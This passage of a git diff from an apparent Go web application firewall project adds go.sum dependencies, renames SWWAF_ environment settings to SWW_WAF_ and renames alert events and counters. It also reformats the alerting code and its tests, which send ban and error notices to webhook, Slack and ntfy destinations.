h1:KLEjvBBSwQcxvgT6h1VDjRLtQ+V9eObAwubb1CTWf9U= +github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68/go.mod h1:9XocblQEwK6EYylRth7PrPIifF2l0iSoYo4FAXhXU/8= +github.com/corazawaf/libinjection-go v0.3.4 h1:jX2Tit2xZxYJJyVryNXucYBZtQqS7473x9Nc6lgRRbk= +github.com/corazawaf/libinjection-go v0.3.4/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk= github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0= github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk= +github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8= +github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0= github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho= github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo= +github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs= +github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM= github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4= github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M= github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM= @@ -34,6 +42,10 @@ github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPs github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0= github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk= github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ= +github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM= @@ -58,8 +70,24 @@ github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc= github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI= github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY= +github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= +github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= +github.com/sagikazarmark/locafero v0.11.0 h1:1iurJgmM9G3PA/I+wWYIOw/5SyBtxapeHDcg+AAIFXc= +github.com/sagikazarmark/locafero v0.11.0/go.mod h1:nVIGvgyzw595SUSUE6tvCp3YYTeHs15MvlmU87WwIik= +github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 h1:+jumHNA0Wrelhe64i8F6HNlS8pkoyMv5sreGx2Ry5Rw= +github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8/go.mod h1:3n1Cwaq1E1/1lhQhtRK2ts/ZwZEhjcQeJQ1RuC6Q/8U= +github.com/spf13/afero v1.15.0 h1:b/YBCLWAJdFWJTN9cLhiXXcD7mzKn9Dm86dNnfyQw1I= +github.com/spf13/afero v1.15.0/go.mod h1:NC2ByUVxtQs4b3sIUphxK0NioZnmxgyCrfzeuq8lxMg= +github.com/spf13/cast v1.10.0 h1:h2x0u2shc1QuLHfxi+cTJvs30+ZAHOGRic8uyGTDWxY= +github.com/spf13/cast v1.10.0/go.mod h1:jNfB8QC9IA6ZuY2ZjDp0KtFO2LZZlg4S/7bzP6qqeHo= +github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk= +github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU= +github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY= github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE= github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg= +github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8= +github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU= github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY= github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= @@ -79,14 +107,14 @@ go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBs go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y= golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c= golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o= -golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To= -golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU= +golang.org/x/net v0.60.0 h1:79p50tfZlm0J9YfoDsSi639qSXNGVwEzOPLCxM2FsYU= +golang.org/x/net v0.60.0/go.mod h1:2DA/G1UfVbCpQPeWTmMPGY7Cs2PkBkwu743bVX5PIVg= golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk= golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0= golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo= golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og= -golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8= -golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M= +golang.org/x/text v0.42.0 h1:JbOZXgfeCPU9gacVtYliJqOhD+zhrEqK4LfdpmlUZqI= +golang.org/x/text v0.42.0/go.mod h1:ojzP1Z+2QtioaF8DTtO8K5q7JWVVYwZKenzujK0Zd0E= golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU= golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0= google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= diff --git a/internal/alerts/alerts.go b/internal/alerts/alerts.go index 422433c..452c77b 100644 --- a/internal/alerts/alerts.go +++ b/internal/alerts/alerts.go @@ -1,12 +1,12 @@ // Package alerts sends alerts on bans, on traffic over an anomaly // threshold, on a source that fails and on a file with an error to each // destination set: to the webhook -// SWWAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON +// SWW_WAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON // object" in docs/alerts.md describes, to the Slack incoming -// webhook SWWAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the -// ntfy topic SWWAF_ALERT_NTFY_URL names. A repeat within -// SWWAF_ALERT_COOLDOWN is held back, and so is an alert past -// SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a +// webhook SWW_WAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the +// ntfy topic SWW_WAF_ALERT_NTFY_URL names. A repeat within +// SWW_WAF_ALERT_COOLDOWN is held back, and so is an alert past +// SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a // bounded queue of each destination's own, so that a destination that is // slow or unreachable holds up neither the others nor any request. The // state is written to alerts.json and read from it by the state package. @@ -34,45 +34,46 @@ import ( "time" ) -// The events an alert is for, as SWWAF_ALERT_EVENTS names them. +// The events an alert is for, as SWW_WAF_ALERT_EVENTS names them. const ( - // EventBan is a ban smallwebwaf made. + // EventBan is a ban sww made. EventBan = "ban" - // EventPermanentBan is a permanent ban smallwebwaf made, or a ban it + // EventPermanentBan is a permanent ban sww made, or a ban it // made permanent. EventPermanentBan = "permanent_ban" // EventAnomaly is a count of requests or bytes over an anomaly // threshold. EventAnomaly = "anomaly" - // EventWAFBlock is a request the Core Rule Set scored at or over - // SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in + // EventCoreRuleSetMatch is a request the Core Rule Set scored at or over + // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, refused in block mode, let through in // detect mode. - EventWAFBlock = "waf_block" - // EventReputationHit is a request whose client a blocklist, the - // CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score - // is a hit. + EventCoreRuleSetMatch = "core_rule_set_match" + // EventReputationHit is a request whose client a blocklist or a DNSBL + // zone lists, or whose AbuseIPDB score is a hit. EventReputationHit = "reputation_hit" - // EventSourceFailure is GeoJS failing or refusing smallwebwaf, a fetch + // EventSourceFailure is GeoJS failing or refusing sww, a fetch // of a list failing, a query to a DNSBL zone or a check with AbuseIPDB // failing or refused, or the day's AbuseIPDB checks used up. EventSourceFailure = "source_failure" - // EventFileError is a rule file or state file edited while smallwebwaf - // runs that does not parse, a replacement of the lookup database that - // cannot be read, or a state file that cannot be written. + // EventFileError is one of: + // - a rule file or state file edited while sww runs that does not parse; + // - a cache file that does not parse, at start or after an edit; + // - a state file or cache file that cannot be written; + // - a replacement of the lookup database that cannot be read. EventFileError = "file_error" // EventSummary is the summary sent as an hour ends: of the alerts held - // back in it past SWWAF_ALERT_MAX_PER_HOUR, and of the repeats held + // back in it past SWW_WAF_ALERT_MAX_PER_HOUR, and of the repeats held // back by the cooldowns dropped as it ends, which no alert let through - // has given. It is sent with SWWAF_ALERT_MAX_PER_HOUR off too, for - // those repeats. SWWAF_ALERT_EVENTS does not name it. + // has given. It is sent with SWW_WAF_ALERT_MAX_PER_HOUR off too, for + // those repeats. SWW_WAF_ALERT_EVENTS does not name it. EventSummary = "summary" ) -// Events returns every event SWWAF_ALERT_EVENTS can name, which is its +// Events returns every event SWW_WAF_ALERT_EVENTS can name, which is its // default. func Events() []string { return []string{ - EventBan, EventPermanentBan, EventWAFBlock, EventAnomaly, + EventBan, EventPermanentBan, EventCoreRuleSetMatch, EventAnomaly, EventReputationHit, EventSourceFailure, EventFileError, } } @@ -80,12 +81,12 @@ func Events() []string { // The destinations alerts are sent to, as the metrics and alerts.json // name them. const ( - // DestinationWebhook is the webhook SWWAF_ALERT_WEBHOOK_URL names. + // DestinationWebhook is the webhook SWW_WAF_ALERT_WEBHOOK_URL names. DestinationWebhook = "webhook" // DestinationSlack is the Slack incoming webhook - // SWWAF_ALERT_SLACK_WEBHOOK_URL names. + // SWW_WAF_ALERT_SLACK_WEBHOOK_URL names. DestinationSlack = "slack" - // DestinationNtfy is the ntfy topic SWWAF_ALERT_NTFY_URL names. + // DestinationNtfy is the ntfy topic SWW_WAF_ALERT_NTFY_URL names. DestinationNtfy = "ntfy" ) @@ -121,26 +122,26 @@ var ( // NtfyURL set, no alert is sent. type Params struct { // WebhookURL is where each alert is posted as JSON - // (SWWAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders - // are sent with each (SWWAF_ALERT_WEBHOOK_HEADERS). + // (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders + // are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS). WebhookURL *url.URL WebhookHeaders http.Header // SlackURL is the Slack incoming webhook each alert is posted to as a - // message (SWWAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset. + // message (SWW_WAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset. SlackURL *url.URL // NtfyURL is the ntfy topic each alert is published to - // (SWWAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless - // empty, is sent with each as a bearer token (SWWAF_ALERT_NTFY_TOKEN). + // (SWW_WAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless + // empty, is sent with each as a bearer token (SWW_WAF_ALERT_NTFY_TOKEN). NtfyURL *url.URL NtfyToken string - // Events are the events alerts are sent for (SWWAF_ALERT_EVENTS). + // Events are the events alerts are sent for (SWW_WAF_ALERT_EVENTS). Events []string // Cooldown is how long a repeat of an alert is held back - // (SWWAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts - // sent in an hour (SWWAF_ALERT_MAX_PER_HOUR), 0 for no limit. + // (SWW_WAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts + // sent in an hour (SWW_WAF_ALERT_MAX_PER_HOUR), 0 for no limit. Cooldown time.Duration MaxPerHour int - // Instance is SWWAF_INSTANCE_NAME, which every alert gives. + // Instance is SWW_WAF_INSTANCE_NAME, which every alert gives. Instance string // Now tells the time of an alert, normally time.Now in UTC. Now func() time.Time @@ -151,7 +152,7 @@ type Params struct { // Alert is one alert, as the webhook is sent it and alerts.json holds it, // with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and // Country are, for a ban, the client's as the ban's notes give them. Host is -// the site of the request that raised the alert, while one servewaf serves +// the site of the request that raised the alert, while one waf serves // many sites, and "" otherwise. // //nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case @@ -220,7 +221,7 @@ type State struct { // requests to it failed, and how many alerts were dropped from its full // queue or given up as it refused them. type Counts struct { - Sent, Failed, Dropped int64 + Sent, SendFailures, Dropped int64 } // Queue takes the alerts raised, holds back those it must, and sends the @@ -264,7 +265,7 @@ type destination struct { // waiting are the alerts waiting to be sent, oldest first. waiting []*Alert - sent, failed, dropped atomic.Int64 + sent, sendFailures, dropped atomic.Int64 } // cooldownKey is what makes an alert a repeat of another: the same event @@ -289,7 +290,15 @@ func cooldownKeyOf(alert *Alert) cooldownKey { asn, _ := alert.Detail["asn"].(string) name, _ := alert.Detail["name"].(string) - return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name} + return cooldownKey{ + alert.Event, + alert.Netblock, + file, + source, + scope, + asn, + name, + } } // New returns a Queue with no alert yet. @@ -301,17 +310,17 @@ func New(params Params) *Queue { } if params.WebhookURL != nil { - q.addDestination(DestinationWebhook, "SWWAF_ALERT_WEBHOOK_URL", + q.addDestination(DestinationWebhook, "SWW_WAF_ALERT_WEBHOOK_URL", params.WebhookURL, q.webhookMessage) } if params.SlackURL != nil { - q.addDestination(DestinationSlack, "SWWAF_ALERT_SLACK_WEBHOOK_URL", + q.addDestination(DestinationSlack, "SWW_WAF_ALERT_SLACK_WEBHOOK_URL", params.SlackURL, slackMessage) } if params.NtfyURL != nil { - q.addDestination(DestinationNtfy, "SWWAF_ALERT_NTFY_URL", + q.addDestination(DestinationNtfy, "SWW_WAF_ALERT_NTFY_URL", params.NtfyURL, q.ntfyMessage) } @@ -319,7 +328,7 @@ func New(params Params) *Queue { } // Raise sends alert, which names its event and what is particular to it, -// unless no destination is set or SWWAF_ALERT_EVENTS leaves its event +// unless no destination is set or SWW_WAF_ALERT_EVENTS leaves its event // out. It gives alert the instance and the time. An alert that repeats // the last one let through less than Cooldown before is held back and // counted. The next one let through gives that count, unless an hour of @@ -331,7 +340,8 @@ func New(params Params) *Queue { // queue of each destination, from which Run sends it, and with queueSize // alerts waiting for a destination, the oldest is dropped. func (q *Queue) Raise(alert Alert) { - if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) { + if len(q.destinations) == 0 || + !slices.Contains(q.params.Events, alert.Event) { return } @@ -363,7 +373,7 @@ func (q *Queue) Raise(alert Alert) { } // WouldSend reports whether Raise would let an alert for event on -// netblock through now: a destination is set, SWWAF_ALERT_EVENTS chooses +// netblock through now: a destination is set, SWW_WAF_ALERT_EVENTS chooses // event, no alert for event on netblock was let through less than // Cooldown before, and fewer than MaxPerHour alerts have been let through // in the hour under way. Unlike Raise, it counts nothing. @@ -378,7 +388,8 @@ func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool { now := q.params.Now() last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}] - if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown { + if q.params.Cooldown > 0 && found && + now.Sub(last.Sent) < q.params.Cooldown { return false } @@ -426,7 +437,9 @@ func (q *Queue) Counts(name string) Counts { for _, d := range q.destinations { if d.name == name { return Counts{ - Sent: d.sent.Load(), Failed: d.failed.Load(), Dropped: d.dropped.Load(), + Sent: d.sent.Load(), + SendFailures: d.sendFailures.Load(), + Dropped: d.dropped.Load(), } } } @@ -470,10 +483,15 @@ func (q *Queue) Snapshot() State { } slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int { - return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event), - cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source), - cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN), - cmp.Compare(a.Name, b.Name)) + return cmp.Or( + a.Netblock.Compare(b.Netblock), + cmp.Compare(a.Event, b.Event), + cmp.Compare(a.File, b.File), + cmp.Compare(a.Source, b.Source), + cmp.Compare(a.Scope, b.Scope), + cmp.Compare(a.ASN, b.ASN), + cmp.Compare(a.Name, b.Name), + ) }) for _, d := range q.destinations { @@ -605,14 +623,17 @@ func (q *Queue) endHour(now time.Time) { var reasons []string if heldBack > 0 { - reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+ - "past the %d an hour SWWAF_ALERT_MAX_PER_HOUR allows", heldBack, - q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour)) + reasons = append( + reasons, + fmt.Sprintf("%d alerts held back in the hour from %s, "+ + "past the %d an hour SWW_WAF_ALERT_MAX_PER_HOUR allows", heldBack, + q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour), + ) } if repeats > 0 { reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+ - "SWWAF_ALERT_COOLDOWN that no later alert gives", repeats)) + "SWW_WAF_ALERT_COOLDOWN that no later alert gives", repeats)) } if len(reasons) > 0 { @@ -675,7 +696,7 @@ func (d *destination) run(ctx context.Context) { retryAt = time.Time{} case errors.Is(err, errRefused): d.remove(alert) - d.failed.Add(1) + d.sendFailures.Add(1) d.dropped.Add(1) retryDelay = 0 @@ -683,15 +704,22 @@ func (d *destination) run(ctx context.Context) { d.processLog.Warn("gave up an alert "+d.setting+" refused", "event", alert.Event, "error", err.Error()) - case ctx.Err() == nil: // not cut off as smallwebwaf stops - d.failed.Add(1) + case ctx.Err() == nil: // not cut off as sww stops + d.sendFailures.Add(1) - retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay), - maxRetryDelay) + retryDelay = min( + max(retryDelayFactor*retryDelay, firstRetryDelay), + maxRetryDelay, + ) retryAt = time.Now().Add(retryDelay) - d.processLog.Warn("sending an alert to "+d.setting+" failed", - "error", err.Error(), "sending_again_in", retryDelay.String()) + d.processLog.Warn( + "sending an alert to "+d.setting+" failed", + "error", + err.Error(), + "sending_again_in", + retryDelay.String(), + ) } } } @@ -779,8 +807,12 @@ func (d *destination) send(ctx context.Context, alert *Alert) error { ctx, cancel := context.WithTimeout(ctx, sendTimeout) defer cancel() - req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(), - bytes.NewReader(body)) + req, err := http.NewRequestWithContext( + ctx, + http.MethodPost, + d.url.String(), + bytes.NewReader(body), + ) if err != nil { return fmt.Errorf("make the request: %w", err) } @@ -834,7 +866,14 @@ func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) { // in JSON: its title in bold, then its text, with &, < and > escaped, as // Slack asks, so that nothing in them is read as a link or a mention. func slackMessage(alert *Alert) ([]byte, http.Header, error) { - escape := strings.NewReplacer("&", "&", "<", "<", ">", ">").Replace + escape := strings.NewReplacer( + "&", + "&", + "<", + "<", + ">", + ">", + ).Replace body, err := json.Marshal(map[string]string{ "text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)), @@ -871,7 +910,7 @@ func ntfyPriority(event string) string { return "high" case EventReputationHit: return "low" - default: // ban, waf_block and summary + default: // ban, core_rule_set_match and summary return "default" } } @@ -882,7 +921,7 @@ func ntfyTag(event string) string { switch event { case EventBan, EventPermanentBan: return "no_entry" - case EventWAFBlock: + case EventCoreRuleSetMatch: return "shield" case EventAnomaly: return "chart_with_upwards_trend" @@ -932,7 +971,10 @@ func text(alert *Alert) string { } if alert.SuppressedRepeats > 0 { - lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats)) + lines = append( + lines, + fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats), + ) } return strings.Join(lines, "\n") diff --git a/internal/alerts/alerts_test.go b/internal/alerts/alerts_test.go index 51afbb9..190eea9 100644 --- a/internal/alerts/alerts_test.go +++ b/internal/alerts/alerts_test.go @@ -34,12 +34,12 @@ const ( // webhookURL is where the alerts are posted, slackURL the Slack // incoming webhook, and ntfyURL the ntfy topic. ntfyToken is the ntfy // token of the tests that set one. - webhookURL = "https://alerts.example/smallwebwaf?team=ops" + webhookURL = "https://alerts.example/sww?team=ops" slackURL = "https://hooks.slack.example/services/T0123/B4567/abcdef" - ntfyURL = "https://ntfy.example/smallwebwaf-alerts" + ntfyURL = "https://ntfy.example/sww-alerts" ntfyToken = "tk_0123456789abcdefghijklmnopq" // instance is the instance name every alert gives. - instance = "fsn1app1/gitea" + instance = "host1/blog" // started is when each test starts, as an alert gives it, and // anHourOn an hour later. started = "2000-01-01T00:00:00Z" @@ -65,7 +65,10 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) { Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE", Reason: "requests per minute over the limit of 1000", - Detail: map[string]any{"cause": "limit", "ban_expires": anHourOn}, + Detail: map[string]any{ + "cause": "limit", + "ban_expires": anHourOn, + }, }) synctest.Wait() @@ -75,7 +78,12 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) { } if got[0].method != http.MethodPost || got[0].url != webhookURL { - t.Errorf("request %s %s, want POST %s", got[0].method, got[0].url, webhookURL) + t.Errorf( + "request %s %s, want POST %s", + got[0].method, + got[0].url, + webhookURL, + ) } for name, want := range map[string]string{ @@ -84,21 +92,29 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) { "X-Team": "ops", } { if got[0].header.Get(name) != want { - t.Errorf("header %s is %q, want %q", name, got[0].header.Get(name), want) + t.Errorf( + "header %s is %q, want %q", + name, + got[0].header.Get(name), + want, + ) } } wantAlert(t, got[0].alert, map[string]any{ - "instance": instance, - "time": started, - "event": "ban", - "client": "203.0.113.9", - "netblock": "203.0.113.0/24", - "asn": "", - "as_name": "", - "country": "DE", - "reason": "requests per minute over the limit of 1000", - "detail": map[string]any{"cause": "limit", "ban_expires": anHourOn}, + "instance": instance, + "time": started, + "event": "ban", + "client": "203.0.113.9", + "netblock": "203.0.113.0/24", + "asn": "", + "as_name": "", + "country": "DE", + "reason": "requests per minute over the limit of 1000", + "detail": map[string]any{ + "cause": "limit", + "ban_expires": anHourOn, + }, "suppressed_repeats": float64(0), }) wantCounts(t, q, 1, 0, 0, 0) @@ -110,12 +126,25 @@ func TestOnlyTheChosenEventsAreSent(t *testing.T) { synctest.Test(t, func(t *testing.T) { params := newParams() - params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError} + params.Events = []string{ + alerts.EventSourceFailure, + alerts.EventFileError, + } webhook, q := start(t, params) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) - q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"}) - q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(1)}) + q.Raise( + alerts.Alert{ + Event: alerts.EventFileError, + Reason: "a file error", + }, + ) + q.Raise( + alerts.Alert{ + Event: alerts.EventPermanentBan, + Netblock: netblock(1), + }, + ) synctest.Wait() wantEvents(t, webhook, alerts.EventFileError) @@ -127,12 +156,17 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) { t.Parallel() params := newParams() - params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError} + params.Events = []string{ + alerts.EventSourceFailure, + alerts.EventFileError, + } q := alerts.New(params) if q.WouldSend(alerts.EventBan, netblock(1)) || q.WouldSend(alerts.EventPermanentBan, netblock(1)) { - t.Error("a ban alert would be sent, though SWWAF_ALERT_EVENTS leaves it out") + t.Error( + "a ban alert would be sent, though SWW_WAF_ALERT_EVENTS leaves it out", + ) } if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) { @@ -184,11 +218,14 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) { onlyNtfy.NtfyURL = parseURL(ntfyURL) for setting, params := range map[string]alerts.Params{ - "SWWAF_ALERT_SLACK_WEBHOOK_URL": onlySlack, - "SWWAF_ALERT_NTFY_URL": onlyNtfy, + "SWW_WAF_ALERT_SLACK_WEBHOOK_URL": onlySlack, + "SWW_WAF_ALERT_NTFY_URL": onlyNtfy, } { if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) { - t.Errorf("a ban alert would not be sent with only %s set", setting) + t.Errorf( + "a ban alert would not be sent with only %s set", + setting, + ) } } } @@ -225,8 +262,14 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) { synctest.Wait() got := webhook.received() - wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventPermanentBan, - alerts.EventBan) + wantEvents( + t, + webhook, + alerts.EventBan, + alerts.EventBan, + alerts.EventPermanentBan, + alerts.EventBan, + ) for i, want := range []struct { netblock int @@ -235,9 +278,14 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) { alert := got[i].alert if alert["netblock"] != netblock(want.netblock).String() || alert["suppressed_repeats"] != want.repeats { - t.Errorf("alert %d is for %v with %v repeats, want %s with %v", i, - alert["netblock"], alert["suppressed_repeats"], netblock(want.netblock), - want.repeats) + t.Errorf( + "alert %d is for %v with %v repeats, want %s with %v", + i, + alert["netblock"], + alert["suppressed_repeats"], + netblock(want.netblock), + want.repeats, + ) } } @@ -245,7 +293,9 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) { }) } -func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) { +func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -253,8 +303,11 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) webhook, q := start(t, params) fileError := func(file string) alerts.Alert { return alerts.Alert{ - Event: alerts.EventFileError, - Detail: map[string]any{"file": file, "error": "line 2: an error"}, + Event: alerts.EventFileError, + Detail: map[string]any{ + "file": file, + "error": "line 2: an error", + }, } } sourceFailure := func(source string) alerts.Alert { @@ -285,7 +338,11 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t 